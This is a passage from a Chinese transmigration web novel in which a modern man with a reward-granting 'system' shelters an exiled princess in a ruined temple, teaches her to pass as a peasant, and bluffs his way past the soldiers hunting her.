他站起身,拍了拍身上的灰尘,走到两人面前。 火光将他的影子投在墙上,显得异常高大。 “殿下,故事讲完了。道理,您也明白了。” “想要拿回天下,您需要更多的‘关羽’和‘张飞’。您需要一个能为您出谋划策,为您披荆斩棘的团队。” 他的声音不大,却字字清晰,掷地有声。 “而我,将是您的第一个谋士。” 他对着萧青鸾,微微躬身,行了一个她从未见过的、不卑不亢的礼节。 “从今天起,请称我为,” “先生。” 第五章 饱饭与人心 【新手任务:确立核心地位,完成!】 【检测到宿主成功获得“先生”称谓,新手大礼包已发放,请注意查收!】 来了! 顾云舟心中一喜。穿越福利,虽迟但到! 他意念一动,一个只有他能看见的、半透明的蓝色框框弹了出来,上面孤零零地躺着三样东西。 【一等精米 x 10斤】 【雪花盐 x 1小袋】 【特效风寒散 x 2剂(说明:专治风寒入体,药到病除,童叟无欺)】 顾云舟差点没当扬笑出声。 好家伙,这系统还挺实在,送的都是眼下最要命的硬通货! 有药,刘嬷嬷的命能吊住。 有米有盐,他和这位未来的女帝陛下,就不用天天琢磨着怎么跟野兔子斗智斗勇了。 团队的稳定,首先得从填饱肚子开始。这个道理,他上辈子当项目经理的时候就懂了。 “先生?”萧青鸾见他突然不说话,只是眼神发亮地盯着空气,有些不解地唤了一声。 “没事。”顾云舟瞬间回神,脸上挂起温和而神秘的微笑,“殿下,我忽然想起一个治风寒的偏方,或许对刘嬷嬷的病症有效。” 他变戏法似的从怀里摸出一个油纸包,里面是两团黑乎乎的药散。 当然不是从怀里摸出来的,是直接从系统仓库里提取的。但在外人看来,这玩意儿就是凭空出现的。 刘嬷嬷和萧青鸾的眼睛都瞪圆了。 尤其是萧青鸾,她的小嘴微张,看看顾云舟空空如也的袖子,又看看他手里的药包,眼神里充满了“你他娘的是怎么做到的”这种震惊。 “此乃家传秘方,殿下不必声张。”顾云舟面不改色地胡扯,高人风范拿捏得死死的。 他走到火堆旁,将庙里唯一一个没摔烂的瓦罐架起来,倒了些水,直接把一包药散丢了进去。 很快,一股浓郁的、混杂着草药清香和一丝苦涩的味道弥漫开来。 刘嬷嬷闻着这药味,精神都为之一振。 她久病成医,自然能分辨出这绝非凡品。 药汤熬好,顾云舟小心地吹凉了一些,递到刘嬷嬷嘴边。 “嬷嬷,请用药。” 刘嬷嬷激动得热泪盈眶,颤抖着嘴唇,在萧青鸾的搀扶下,将一碗药汤喝得一滴不剩。 药效简直立竿见影。 不过一刻钟的功夫,刘嬷嬷剧烈的咳嗽就平息了下来,原本蜡黄的脸上竟泛起了一丝血色,呼吸也变得悠长平稳了许多。 “神了……真是神药啊!”刘嬷嬷撑着身子,就要给顾云舟下跪。 顾云舟眼疾手快地扶住她:“嬷嬷不可!您是殿下的基石,怎可轻易折腰。” 萧青鸾在一旁看着,小拳头都握紧了。 震撼。 太震撼了! 这位先生,不仅会讲故事,会抓兔子,竟然还随身带着神药! 他到底是什么人? 难道……真是上天派来拯救自己的神仙? 顾云舟可不管她脑子里在想什么,他现在只想干饭。 他再次上演“凭空取物”大法,一袋沉甸甸的精米出现在了脚边。 当那雪白饱满的米粒从麻布袋里倾倒出来时,萧青鸾和刘嬷嬷的呼吸都停滞了。 米! 是米啊! 她们已经有好几个月没见过这么干净饱满的米粒了! 顾云舟没理会两人的失态,动作麻利地淘米下锅,又把剩下的一只兔子处理干净,切成小块,连带着白天顺手采的一些能吃的野菜,一股脑全丢进了瓦罐里。 盐,也撒了一小撮进去。 很快,一股比刚才烤兔肉霸道十倍的香味,轰然炸开! 米粒的清甜,兔肉的鲜美,野菜的清新,混合着盐的咸香,在小小的破庙里盘旋、升腾,钻进每一个人的鼻孔,勾引着腹中最原始的欲望。 萧青鸾的肚子不争气地“咕”了一声。 她死死盯着那个冒着热气的瓦罐,喉咙上下滚动,眼睛里冒着绿光。 什么皇女的矜持,什么未来的女帝,在这一锅热气腾腾的肉粥面前,全都是狗屁! 她现在只想干了这锅粥! 终于,粥熬好了。 顾云舟给两人各盛了一大碗。 萧青鸾迫不及待地接过,也顾不上烫,吹了两下就往嘴里扒拉。 温热的米粥滑入喉咙,瞬间驱散了五脏六腑的寒意。米粒软糯,肉块酥烂,野菜清爽,恰到好处的咸味让味蕾瞬间复活。 好吃! 太好吃了! 这是她这辈子吃过的最好吃的东西! 萧青鸾一边狼吞虎咽,一边眼泪不受控制地往下掉。 不是因为绝望,不是因为委屈。 而是因为温暖,因为满足,因为一种久违了的、名为“安全感”的东西。 她抬起婆娑的泪眼,看着火光下那个从容不迫的男人。 他就像一个无所不能的神。 在她快要饿死的时候,他带来了食物。 在她最信任的嬷嬷快要病死的时候,他拿出了神药。 在她以为自己一无所有,只能像野狗一样死去的时候,他告诉她,她还能争一争这天下。 先生…… 这个称呼,在她心里变得无比沉重,又无比可靠。 一顿风卷残云,三大碗兔肉粥下肚,三人都感到了前所未有的满足。 顾云舟靠在佛像底座上,懒洋洋地剔着牙,看着吃饱喝足后、眼神都变得清亮起来的萧青鸾,决定趁热打铁。 “殿下,吃饱了?” “嗯……饱了。”萧青鸾有些不好意思地擦了擦嘴。 “那咱们来复盘一下。”顾云舟敲了敲瓦罐,“刘备有了关羽和张飞,兜里有了钱,手里有了人,你觉得他下一步该干嘛?” 萧青鸾愣住了。 刚吃饱就要开始上课了吗? 但这次,她没有抗拒,反而真的认真思考起来。 “他……他应该去招兵买马?”她试探着回答。 “没错,方向对了。”顾云舟点点头,“但怎么招?去哪儿招?打什么旗号招?招来的人怎么管?这都是学问。” 他循循善诱:“殿下,换了是你。你现在有了我,有了刘嬷嬷。你下一步,打算怎么做?” 这个问题,直接把萧青鸾问懵了。 她下意识地看向顾云舟,眼神里充满了依赖:“听……听先生的。” “糊涂!”顾云舟毫不客气地呵斥道,“我是你的谋士,不是你的脑子!主公,要有主公的样子!你可以问我的意见,但你心里必须要有自己的想法!” 这声呵斥,如当头棒喝,让萧青鸾浑身一颤。 是啊,她才是主公。 她不能事事都依赖先生。 她绞尽脑汁,小脸都皱成了一团:“我们……我们没钱,也没兵。当务之急,是不是应该先找个地方安顿下来,再图后计?” “不错!孺子可教也!”顾云舟大为赞赏。 这丫头,总算开始动脑子了。 “那殿下觉得,我们应该去哪儿安顿?” “我……”萧青鸾刚想说话。 突然,一个苍老但中气十足的声音,从破庙门口传了进来。 “什么人!鬼鬼祟祟地躲在这里!” 三人心中皆是一惊! 齐刷刷地朝门口看去。 只见庙门口的月光下,站着一个拄着拐杖的黑瘦老者,一双眼睛在夜色里精光四射,跟探照灯似的。 在他身后,还跟着两个手持棍棒的壮汉,肌肉贲张,一看就不好惹。 气氛瞬间降到了冰点。 顾云舟心头一凛,暗道一声:麻烦来了。 本地NPC刷新了。 他反应极快,几乎是下意识地一个闪身,挡在了萧青鸾和刘嬷嬷身前,脸上瞬间堆起了无害又落魄的笑容。 他对着老者拱了拱手,行了一个标准的书生礼,语气里带着几分凄惶:“这位老丈,我等乃是外地赶考的书生,不幸在山中遭遇劫匪,盘缠尽失,不得已才在此地借宿一晚,叨扰了神明,还望海涵。” 那老者,也就是这落霞谷的里正,赵老四,眯着眼打量着顾云舟。 一身破烂但质地不俗的长衫,面皮白净,细皮嫩肉,确实像个读书人。 可他身后的那个小丫头,虽然也穿着女装,但眼神凶得很,像只没驯服的野猫。 还有一个病怏怏的老婆子,看着就晦气。 赵里正的目光,最后落在了那还在冒着热气的瓦罐上,以及旁边散落的兔皮和骨头。 他冷哼一声,用拐杖笃笃地敲着地面。 “赶考的书生?我看你们的日子过得倒是不错,还有肉粥喝。” 顾云舟心里咯噔一下,但脸上依旧从容。 “让老丈见笑了。这是我妹妹,自幼体弱,饿不得。在下只好学了些山野求生的粗浅本事,捕了只野兔果腹,不成敬意。” 他一边说,一边不动声色地将萧青鸾往身后又拉了拉。 萧青鸾也很上道,立刻低下头,露出一副怯生生的可怜模样。 赵里正半信半疑,眼神在三人身上来回扫视。 这荒山野岭的,突然冒出三个陌生人,由不得他不警惕。 “我不管你们是真书生还是假流民。”赵里正的语气不容置喙,“这落霞谷,是我赵家的地界。你们要待可以,但得守我的规矩。” 他用拐杖指了指顾云舟。 “第一,不准偷鸡摸狗,要是让我发现村里少了根针,我唯你们是问!” “第二,不准惹是生非,安安分分待在这破庙里,天亮了就赶紧滚蛋!” “第三……”他顿了顿,浑浊的眼睛里闪过一丝嫌恶,看了一眼刘嬷嬷,“有病的就自己找地方悄悄死了,别把晦气带到我们村里来!” 这话一出,萧青鸾的身体猛地一僵,眼中瞬间燃起怒火。 顾云舟立刻按住了她的肩膀,力道之大,让她无法动弹。 他对着赵里正,再次躬身,笑容里甚至带上了一丝谄媚。 “老丈说的是,我们明白,我们一定遵守规矩,绝不给村里添半点麻烦。” 赵里正见他态度恭顺,这才满意地点点头,又警告地瞪了他们一眼,才带着两个壮汉,转身消失在夜色中。 直到那脚步声彻底远去,顾云舟才松了口气,放开了萧青鸾。 一回头,却对上了一双燃烧着熊熊怒火的眸子。 “先生!你为何要拦着我!他……他竟敢如此诅咒嬷嬷!”萧青鸾的声音都在发抖,是气的。 顾云舟看着她,神情前所未有的严肃。 “殿下,我问你,刘备在没实力的时候,见到督邮,是怎么做的?” 萧青鸾一愣。 顾云舟的眼神锐利如刀。 “是卑躬屈膝,是笑脸相迎!为什么?因为他弱!弱,就要忍!” “刚才那老头,身后跟着两个壮汉,手里拿着棍子。我们呢?一个我,一个你,一个重病的嬷嬷。你告诉我,我们拿什么跟他斗?” “凭你皇女的身份?还是凭你那三脚猫的功夫?” “一旦动手,你信不信,明天这破庙里,就多三具尸体!” 顾云舟的话,字字诛心,像一盆冰水,兜头浇灭了萧青鸾所有的怒火。 她呆立在原地,脸色煞白,嘴唇颤抖,一个字也说不出来。 第六章 不速之客 过了许久,庙里只有柴火燃烧时发出的“噼啪”声。 顾云舟没再说话,只是默默地往火堆里添了根干柴,然后坐回原处,慢条斯理地搅动着瓦罐里的肉粥。仿佛刚才那个疾言厉色的审判官,只是个幻觉。 但萧青鸾知道不是。 她身上的冷汗,到现在还没干。 她第一次发现,原来愤怒和恐惧,可以离得这么近。前一秒她还想冲上去跟那个老头拼命,后一秒,就被顾云舟的话钉在了原地,动弹不得。 三具尸体…… 这个词在她脑子里盘旋,让她手脚冰凉。 刘嬷嬷不知何时已经醒了,靠在草堆上,看着眼前这一幕,苍老的脸上满是复杂。她想说什么,但张了张嘴,最终还是化为一声叹息。 先生说得对。 是他们太弱了。 “先生……”萧青鸾终于找回了自己的声音,干涩沙哑。 顾云舟头也不抬,嗯了一声。 “我……我错了。”她低着头,声音小的像蚊子哼哼。 顾云舟终于抬眼看她,眼神里没什么波澜。“错哪了?” “我不该冲动,不该……不该想跟他动手。” “还有呢?” “……”萧青鸾被问住了。还有? 顾云舟放下手里的木勺,站起身,走到她面前。 他个子高,这么居高临下地站着,投下的阴影几乎将萧青鸾完全笼罩。 “殿下,你刚才差点害死我们所有人。”他语气平静,却比刚才的怒斥更让人心惊。 “就因为你那个坐姿。” 萧青鸾猛地抬头,一脸愕然。坐姿? “从那老头进门开始,你就一直跪坐在那儿,腰杆挺得比门口的石狮子还直。你是在等人给你请安吗?”顾云舟的吐槽犀利得像刀子。 “寻常人家的姑娘,逃难至此,要么是吓得缩成一团,要么是累得瘫在地上。你倒好,坐出了母仪天下的气势,生怕别人看不出你身份尊贵?” 萧青鸾的脸“唰”一下,血色褪尽。 她……她只是习惯了!从小到大,宫里的教养嬷嬷就是这么教的,行坐站卧,皆有规矩,早已刻进了骨子里。她根本就没意识到! “还有,”顾云舟没给她反应的时间,随手拿起刚才萧青鸾喝水用的破碗,“我给你递水的时候,你是怎么接的?” 他模仿着萧青鸾的样子,伸出两指,轻轻捏住碗沿,小指还微微向上翘起。 动作滑稽,却让萧青鸾如遭雷击。 “这叫兰花指,宫里的贵人喝茶品酒的范儿。一个山野丫头,逃难的路上,还讲究这个?” “你信不信,刚才那老头要是再多看你两眼,就能瞧出不对劲来?” “到时候,人家都不用动手,回头去县衙报个官,说这里有形迹可疑的贵人。你猜,追杀你的人,要多久能找到这儿来?” 顾云舟每说一句,萧青鸾的脸色就白一分。 到最后,她整个人都在发抖,不是因为愤怒,而是纯粹的后怕。 她一直以为,自己最大的危险是追兵,是饥饿,是寒冷。 她从来没想过,自己从小到大学会的一切,那些引以为傲的皇家礼仪,竟然会是催命的符咒! 原来,她连怎么“活下去”,都还没学会。 扑通一声。 萧青鸾双膝一软,对着顾云舟直直地跪了下去,额头重重磕在冰冷的地面上。 “先生,教我!” 这一次,她的声音里没有了半分皇女的骄傲,只剩下最纯粹的恳求和依赖。 顾云舟看着她颤抖的背影,心里暗暗松了口气。 行,还有救。 “起来吧,地上凉。”他语气缓和了些,“想活命,就得先把身上那层皮给扒了。” “从今天起,忘了你是什么皇女。你就是个跟着哥哥逃难的野丫头,叫小花,小草,随便什么都行。” 顾云舟开始了他的“平民速成班”教学。 “第一课,坐。”他一屁股坐到草堆上,整个人歪歪扭扭,像没长骨头一样,“学我,怎么舒服怎么来,要的就是一个懒散。对,腿再叉开点,别并那么拢,你又不是待嫁的闺女。” 萧青鸾红着脸,笨拙地模仿着,结果用力过猛,差点把自己绊倒。 “第二课,走路。”顾云舟指着庙门外,“走两步我看看。” 萧青鸾下意识地莲步轻移,身姿摇曳。 “停!”顾云舟扶额,“你这是去赶集还是去选妃?给我走快点,带点风!脚下要有土腥味儿!” “第三课,吃饭!”他把一碗肉粥递过去,“喝。记得,要出声,喝得越响越好,这叫吃得香。” 萧青鸾端着碗,看着里面香喷喷的肉粥,第一次感觉到了压力。 在刘嬷嬷目瞪口呆的注视下,未来的女帝陛下,开始了她人生中最艰难的学习。 学着怎么粗鲁地坐,学着怎么大声地说话,学着怎么像个真正的野丫头一样,用手背抹嘴。 每当她下意识地露出破绽,顾云舟的“戒尺”,一根不知道从哪儿捡来的小树枝,就会不轻不重地敲在她手上或背上。 “腰挺直了!” “眼神!别用眼角瞟人,那是宫里太监的活儿!” “手!拿东西别翘指头!” 几天下来,萧青鸾感觉自己比在宫里学六年礼仪还累。 但效果是显著的。 她身上那股挥之不去的贵气,被硬生生地磨掉了七八分,眼神里多了几分野性和警惕,少了几分天真和疏离。 就连刘嬷嬷都说,现在的殿下,看着真像个乡下丫头了。 这几天,日子意外地平静。 赵里正再也没来过,似乎已经默认了他们的存在。 顾云舟每天带着“野丫头”萧青鸾在山里转悠,打打猎,采采果子,破庙里的生活条件肉眼可见地好了起来。 食物不缺了,火堆也总是旺旺的,甚至还用兽皮简单地铺了床。 在没有生存压力后,顾云舟开始通过系统界面,疯狂研究这个“大炎王朝”的资料。 地图、势力分布、历史……海量的信息涌入脑海。 他知道,平静只是暂时的。 落霞谷只是个新手村,想完成那个要命的主线任务,他们必须走出去。 而走出去的第一步,就是搞清楚,到底是谁,把一个皇女逼到了这步田地。 这天下午,天气不错。 顾云舟正在庙外一块大石头上,处理着刚套到的一只肥硕山鸡,动作娴熟。萧青鸾就在旁边,学着他的样子,用小刀刮着兔皮,虽然动作笨拙,但神情专注。 岁月静好,像一幅画。 顾云舟甚至产生了一丝错觉,如果能一直这样下去…… 呸! 他立刻把这个危险的念头甩出脑海。 回不了家,在这里当山大王吗?开什么玩笑! 就在这时,一阵细微但极有规律的声音,顺着山风传了过来。 沙,沙,沙…… 不是风吹树叶,也不是野兽路过。 是脚步声。 而且不止一个。 顾云舟处理山鸡的动作猛地一顿,抬起头,眯着眼望向山路尽头。 只见远处的山道拐角,缓缓走出了一队人影。 大约十来个人,身上穿着统一的黑色皮甲,虽然陈旧,但样式规整。腰间挎着制式的官刀,刀柄在阳光下泛着森冷的光。 他们步伐沉稳,队列整齐,每一步的间距都像是用尺子量过。 为首一人,身材高大,脸上有一道狰狞的刀疤,一双鹰隼般的眼睛,正冷冷地扫视着周围,最后,精准地落在了他们所在的这座破庙上。 他们不是赵里正那种村夫,更不是普通的巡逻兵。 那股子从骨子里透出来的肃杀之气,隔着老远,都让人头皮发麻。 顾云舟的心,瞬间沉到了谷底。 淦。 真是怕什么来什么。 他几乎是下意识地吼了一声:“嬷嬷,带她进山洞!快!” 萧青鸾也看到了那队人马,她的小脸瞬间变得惨白,握着小刀的手不受控制地发起抖来。 那身皮甲,她认得! 是京城卫戍部队“羽林卫”的制式装备! 追兵,终于还是来了! 第七章 慰问?这是索命! 刘嬷嬷刚养好些的身体一软,差点瘫倒在地。 萧青鸾的小脸“唰”一下就白了,那不是普通的惨白,是血色瞬间被抽干,只剩下薄薄一层皮的死白。她手里的兔皮和刀“哐当”一声掉在地上,整个人抖得像秋风里的落叶。 是他们! 是羽林卫! 是那些在宫变之夜,提着刀,踩着尸体和血水,挨家挨户搜捕她的刽子手! 恐惧,像一只冰冷的手,死死攥住了她的心脏。 “跑!” 顾云舟脑子里只剩这一个字,他一把抓住萧青鸾的手腕,想把她往庙后的山洞里拖。 可晚了。 那队羽林卫的动作比他想象的快得多。 他刚迈出一步,为首的那个刀疤脸已经带着两个人,像三根钉子,直挺挺地堵在了破庙门口。 阳光被他们魁梧的身躯挡住,阴影瞬间笼罩了整个破庙。 空气,凝固了。 刘嬷嬷的呼吸都停了,一双眼睛死死盯着那些人腰间的官刀,脸上是彻骨的绝望。 萧青鸾的手腕冰凉,抖得更厉害了。她下意识地想往顾云舟身后缩,这个动作,几乎成了这几天的本能。 完了。 这是她唯一的念头。 然而,就在这千钧一发之际,顾云舟的反应却让所有人,包括堵门的刀疤脸,都愣了一下。 前一秒还声色俱厉、气势汹汹的顾云舟,下一秒,整个人像是被抽了主心骨,瞬间矮了半截。 他脸上堆起了近乎谄媚的、又带着点惊恐的笑容,对着门口的刀疤脸连连作揖,腰都快弯成了九十度。 “哎哟!军爷!军爷们辛苦了!这是……这是进山剿匪吗?辛苦!太辛苦了!” 他的声音不大,带着点破锣嗓子般的嘶哑,还有一丝小心翼翼的讨好,活脱脱一个被官兵吓破了胆的穷酸书生。 这变脸速度,堪称一绝。 刀疤脸,也就是这队羽林卫的小头目陈伍,眉头微微一皱。 他锐利的眼神像刀子一样,先是在顾云舟身上刮了一遍,然后又落在他身后那个抖得快要散架的“妹妹”身上,最后扫过角落里那个面如死灰的老婆子。 “你们是什么人?在此地做什么?”陈伍的声音冷冰冰的,不带一丝感情。 “回军爷的话!”顾云舟笑得更卑微了,他一边说,一边悄悄用身体挡住了萧青鸾大半个身子,“草民顾云舟,这是舍妹小鸾。我俩本是进京投亲的,谁想半道上遇了劫匪,盘缠行李全被抢光了,连我妹妹的风寒药都没了……实在走投无路,才在这破庙里暂歇几日,寻思着缓口气再上路。” 这套说辞,他之前就跟赵里正说过,现在再说一遍,熟练得像是刻在骨子里的。 而且,面对这些一看就不好惹的官兵,他的姿态放得更低,表演得更卖力了。 陈伍没说话,只是盯着他。 那眼神,像是在审视一头待宰的猪,评估着从哪里下刀比较合适。 破庙里的气氛压抑得能拧出水来。 “进京投亲?”陈伍缓缓踱了进来,脚下的军靴踩在干草上,发出“沙沙”的轻响,每一下都像踩在人心尖上,“看你像个读书人,哪家书院的?” “军爷好眼力!”顾云舟一副受宠若惊的样子,“草民曾在青州府学念过两年书,不值一提,不值一提。” “亲戚在京中何处?姓甚名谁?”问题一个接一个,又快又急。 “是舍妹的远房姨母,在……在甜水巷做些浆洗的营生,姓王。”顾云舟对答如流,脸上甚至挤出一丝窘迫和羞赧,仿佛为有这么一门穷亲戚而感到不好意思。 这细节,绝了。 一个落魄书生,投靠一个洗衣妇亲戚,逻辑完美自洽。 陈伍的眼神闪烁了一下,似乎没找出什么破绽,但他依旧没有放松警惕。他的目光,再次落在了瑟瑟发抖的萧青鸾身上。 “你妹妹,病了?” “是是是!”顾云舟连忙点头,脸上瞬间切换成担忧和心疼的表情,影帝附体,“染了风寒,一直高烧不退。唉,都怪那些天杀的劫匪!把我们准备给妹妹抓药的救命钱都抢走了!不然……不然也不至于拖成这样……” 他说着,还煞有介事地叹了口气,眼圈都红了。 萧青鸾也很上道。 她死死记着顾云舟这几天的教诲,你现在不是皇女,你是个叫小花的野丫头! 她配合地发出一阵剧烈的咳嗽,咳得撕心裂肺,仿佛下一秒就要把肺咳出来。她紧紧抓着顾云舟的衣角,把一张小脸埋在他身后,只露出一双惊恐万状的眼睛,活像一只受了惊的小鹿。 这兄妹俩,一个演得天衣无缝,一个本色出演,配合得简直是天作之合。 陈伍盯着那双满是恐惧的眼睛看了半晌。 他见过太多人,有死不旋踵的硬汉,有口蜜腹剑的权臣,也有故作镇定的刺客。 但这样纯粹的、发自骨子里的恐惧,是装不出来的。 尤其是对他们这身官服的恐惧。 寻常百姓,见了官兵,大多是这副德行。 他眼中的怀疑,终于消散了几分。 “罢了。”陈伍摆了摆手,语气缓和了一点,“我等奉命追剿一伙山匪,看你们也不像。此地不安全,早些离开吧。” 顾云舟闻言,如蒙大赦,点头哈腰道:“是是是!多谢军爷提醒!我等明日一早就走,绝不给军爷们添麻烦!” 陈伍不置可否地“嗯”了一声,转身就要带人离开。 刘嬷嬷和萧青鸾几乎同时松了口气。 然而,顾云舟的心却提到了嗓子眼。 还没完。 真正的考验,现在才开始。 果然,陈伍走到门口,像是脚下被什么东西绊了一下,一个趔趄。 “哐啷!” 一声脆响。 他腰间的刀鞘,竟然“不慎”脱落,不偏不倚,正好滚到了萧青鸾的脚边。 那冰冷的铁器,离她的布鞋只有不到三寸的距离。 萧青鸾的身体瞬间僵住了。 这一刻,时间仿佛变慢了。 破庙里,所有人的目光都聚焦在那柄刀鞘上。 陈伍慢慢直起身,回头看着他们,脸上没什么表情,但眼神深处,却藏着一丝最后的试探。 一个普通人,一个普通的病弱少女,看到这代表着暴力和权力的东西滚到脚边,会是什么反应? 顾云舟的反应,快得像一道闪电。 他甚至没有去扶萧青鸾,而是像被踩了尾巴的猫一样,猛地向后跳了一步,同时一把将还僵在原地的萧青鸾死死拽到自己身后。 那动作,粗暴又迅猛,充满了最原始的恐惧。 “啊!”萧青鸾被他拽得一个踉跄,配合地发出了一声短促而真实的惊叫。 “军爷恕罪!军爷恕罪!”顾云舟把萧青鸾护得严严实实,自己则对着那刀鞘连连摆手,仿佛那不是刀鞘,而是一条毒蛇,“草民不敢碰!草民不敢碰!舍妹胆小,军爷恕罪!” 他那副屁滚尿流、恨不得离兵器八丈远的怂样,简直是教科书级别的。 看着这“兄妹”俩对一柄空刀鞘都畏惧如虎的样子,陈伍眼中最后一丝疑虑,终于彻底烟消云散。 他要找的人,是皇女。 哪怕再落魄,骨子里的高傲和从小接触皇家仪仗的镇定,也绝不可能对一柄刀鞘怕成这样。 这两人,就是两个倒霉蛋,两个怂包。 鉴定完毕。 陈伍面无表情地走回来,弯腰捡起刀鞘,重新挂在腰间。 他甚至没再看顾云舟一眼,只是淡淡地对身后的手下说了一句:“走。” 十几个羽林卫,来得快,去得也快。 很快,他们的身影就消失在了山道的拐角。 破庙里,重新恢复了安静。 “呼……” 萧青鸾长长地吐出一口气,整个人一软,直接瘫坐在了草堆上。后背,已经被冷汗浸透了。 刘嬷嬷也是双腿发软,扶着墙壁才没有倒下,嘴里不停地念着:“阿弥陀佛……老天保佑……” 终于……过去了。 顾云舟站在原地,一动不动,静静地听着外面的风声,直到再也听不见任何脚步声。 他缓缓转过身,脸上的卑微和恐惧已经消失得无影无踪,取而代之的,是一片凝重的冰冷。 萧青鸾看着他,刚想说些什么,比如“先生,我刚才没露馅吧”,比如“先生,我们是不是安全了”。 可她还没来得及开口,就听到顾云舟用一种不带任何感情的语气,对她说道: “别高兴得太早。” 萧青鸾一愣。 只听顾云舟继续说道: “他们今晚,一定会回来。” “而且,下一次,他们手里提着的,就不会是刀鞘了。” 第八章 献刀,死局之兆 刚刚劫后余生的那点庆幸,被顾云舟一句话打得粉碎,连渣都不剩。 “先生……你在说什么?” 萧青鸾的小脸煞白,刚刚回暖的身体又一次冰冷下来,声音都在发颤,“他们……他们不是已经信了吗?他们走了啊!” “是啊顾先生!”刘嬷嬷扶着墙,好不容易站稳的身子又是一晃,“那军爷都说让我们早些离开了,怎么会……” 顾云舟没有看她们,只是走到火堆旁,慢条斯理地添了两根干柴。 火苗“噼啪”一声窜得老高,映得他那张平静的脸明暗不定。 他既没点头,也没摇头,更没有解释什么叫“欲擒故纵”,什么叫“斩草除根”。 对一个十六岁的古代公主和一个忠心护主的老嬷嬷解释这些,太慢,也太废话。 他只是拍了拍手上的木屑,盘腿坐下,用一种极其不合时宜的闲聊语气说道: “来,坐。我给你们讲个故事。” 讲故事? 现在? 萧青鸾和刘嬷嬷都懵了。 这都火烧眉毛了,您老还有心情开故事会? 但看着顾云舟那双古井无波的眼睛,她们喉咙里所有的问题都被堵了回去。不知为何,这个男人越是平静,就越让她们感到一种莫名的安心,以及……恐惧。 两人只能听话地挪到火堆旁,像两个等待老师训话的小学生。 “话说很多年前,有个皇帝,但他其实是个大胖子国贼,叫董卓。”顾云舟的声音很平稳,像是在说一件无关紧要的陈年旧事。 “这胖子坏得流油,把整个朝廷搞得乌烟瘴气,人人想杀他而后快。有个叫曹操的英雄,就想了个办法。” “他搞到一把削铁如泥的宝刀,假借献刀的名义,想靠近董卓,然后一刀给他来个透心凉。” 故事一开讲,萧青鸾的注意力就被吸引了过去。她虽然厌学,但对这些坊间传奇却很感兴趣。 顾云舟的语速不快,但每一个字都像小锤子,敲在人心上。 “曹操提着刀,走进了董卓的相府。那地方,三步一岗,五步一哨,杀气腾腾。董卓那胖子就坐在床上,曹操一步步走过去,心都提到了嗓子眼。” “眼看就要得手,董卓却突然转身,脸正对着床里。曹操心说,好机会!刚要把刀抽出来……” 顾云舟顿了一下,火光下,萧青鸾和刘嬷嬷都屏住了呼吸。 “那董卓胖归胖,却多疑得很。他从床边的铜镜里,清清楚楚地看到了曹操背后抽刀的动作!” “嘶,”刘嬷嬷倒吸一口凉气。 “那一瞬间,董卓猛地转过头,厉声喝问:‘曹操,你要干什么!’” 顾云舟的声音陡然拔高,吓得萧青鸾肩膀一抖。 “换了你,被当扬抓包,你怎么说?”顾云舟忽然看向萧青鸾。 萧青鸾下意识地摇头,脑子一片空白。 顾云舟嘴角扯出一抹冷笑:“曹操是枭雄。他眼皮都没眨一下,‘噗通’一声就跪下了,双手高高举起那把宝刀,脸上堆满了谄媚的笑,说:‘丞相,我得了把宝刀,特来献给您!’” “他把那扬惊心动魄的刺杀,演成了一扬阿谀奉承的献宝。演技,比咱们今天好多了。” 萧青鸾的嘴巴微微张开,她似乎明白了什么。 “董卓半信半疑,接过刀一看,果然是好刀,脸上的杀气才消了点。曹操呢,借口要为宝刀寻一匹好马相配,连滚带爬地溜出了相府,骑上快马,头也不回地跑了。” 故事讲完了。 破庙里,只有柴火燃烧的噼啪声。 刘嬷嬷还沉浸在故事的惊险中,喃喃道:“跑了就好,跑了就好……” 但萧青鸾的脸色,却越来越白,白得像一张纸。 她不是傻子。 她已经彻底听懂了。 顾云舟静静地看着她,像一个严厉的考官,终于抛出了那个最致命的问题: “殿下,故事听完了。现在我问你。” “今天来的那个陈伍,就是那个前来试探的曹操。” “而我们,就是那个差点被捅死的董卓。” “那么……你觉得,当董卓发现刺客已经跑了,他接下来会做的第一件事,是什么?” 这个问题,像一桶冰水,从萧青鸾的头顶浇下,让她从里到外凉了个通透。 之前的所有侥幸,所有庆幸,在这一刻都显得那么可笑。 是啊。 刺客跑了。 董卓会放过他吗?会当无事发生吗? 不。 他会立刻下令,全城戒严,封锁所有出口,派出最精锐的部队,不惜一切代价,去追杀那个胆敢欺骗他、威胁他性命的曹操! 不死不休! 萧青鸾的嘴唇哆嗦着,她看着火光中顾云舟那双深不见底的眼睛,喉咙里干得发疼,许久,才挤出一个字。 “……杀。” “没错。”顾云舟缓缓点头,眼中闪过一丝赞许,“但为时已晚,曹操此刻已经出了城,出了城他会干什么呢。” ...还....还会再来? “没错,他们一定会回来。而且就在今晚。” 轰! 萧青鸾的脑子彻底炸了。 恐惧再一次攥住了她的心脏,但这一次,恐惧之中,却多了一丝明悟。 她终于明白了,自己面对的不是简单的追捕,而是一扬你死我活的政治绞杀。没有道理可讲,没有侥幸可言。 “那……那我们怎么办?”刘嬷嬷的声音已经带上了哭腔,“先生,我们快跑吧!趁他们还没来!” “跑?”顾云舟嗤笑一声,“两条腿跑得过四条腿的马?这山就这么大,天一亮,人家把山一围,咱们就是瓮中之鳖。” 他站起身,拍了拍身上的灰。 “跑是下策。想活命,只有一个办法。” “,把猎人,变成猎物。” 话音落下,他闭上了眼睛。 【叮!宿主成功引导学生领悟‘权谋斗争的残酷性’,教学成果显著。】 【新手奖励‘初级机关术’已解锁,相关知识开始灌输……】 没有人看到,顾云舟的脑海里,正掀起一扬知识的风暴。 无数奇巧的构思、匪夷所思的杠杆原理、各种利用地形和简陋材料制作陷阱的图纸,像潮水一样涌入他的大脑。 一秒,两秒…… 当他再次睁开眼时,整个世界都不一样了。 那双眼睛里,之前的平静、冷酷都消失了,取而代之的是一种近乎狂热的专注和计算。 这破庙,在他眼里不再是遮风避雨的窝棚。 那根歪斜的房梁,是绝佳的重物悬挂点。 那几处松动的地砖,是天然的陷阱基座。 门口那棵半死不活的老歪脖子树,是完美的绊索固定桩。 每一根横梁,每一块石头,每一处凹陷,都成了他脑中杀人棋盘上的一枚棋子! “没时间了,动起来!” 顾云舟一声低喝,打破了死寂。 他的声音不大,却带着一股不容置疑的威严。 “刘嬷嬷!” “啊?在,在!”刘嬷嬷一个激灵。 “去把门后那根最粗的顶门杠搬过来!用你最大的力气!” “是!”刘嬷嬷虽然不知道要干什么,但还是咬着牙,跌跌撞撞地跑了过去。 “殿下!”顾云舟又转向萧青鸾。 “先生!”萧青鸾猛地站起,小脸上满是紧张和决绝。 “你那把防身的匕首呢?” “在!”她从怀里掏出那柄做工精巧的匕首。 